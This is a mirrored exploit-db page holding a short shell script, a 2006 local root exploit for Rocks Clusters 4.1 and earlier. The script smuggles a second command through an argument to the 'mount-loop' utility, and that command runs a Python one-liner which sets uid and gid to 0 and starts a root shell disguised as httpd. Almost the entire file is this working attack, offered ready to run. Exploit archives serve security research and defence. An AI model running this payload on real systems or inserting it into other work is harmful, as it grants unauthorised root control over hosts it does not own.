mirror of
https://github.com/offensive-security/exploitdb.git
synced 2026-11-11 06:21:28 -10:00
13 lines
651 B
Bash
Executable File
13 lines
651 B
Bash
Executable File
#!/bin/sh
|
|
##############################################################################
|
|
## rocksmountdirty.sh: Rocks release <=4.1 local root exploit
|
|
## make sure 'mount-loop' is in your path for this to work.
|
|
##
|
|
## coded by: [email protected] [http://xavsec.blogspot.com]
|
|
##############################################################################
|
|
echo "Rocks Clusters <=4.1 mount-loop local root exploit by [email protected] [http://xavsec.blogspot.com]"
|
|
echo "getting root.. goodluck"
|
|
mount-loop "null" "null" "null; python -c 'import os;os.setuid(0);os.setgid(0);os.execl(\"/bin/sh\", \"/usr/sbin/httpd\")'"
|
|
|
|
# milw0rm.com [2006-07-15]
|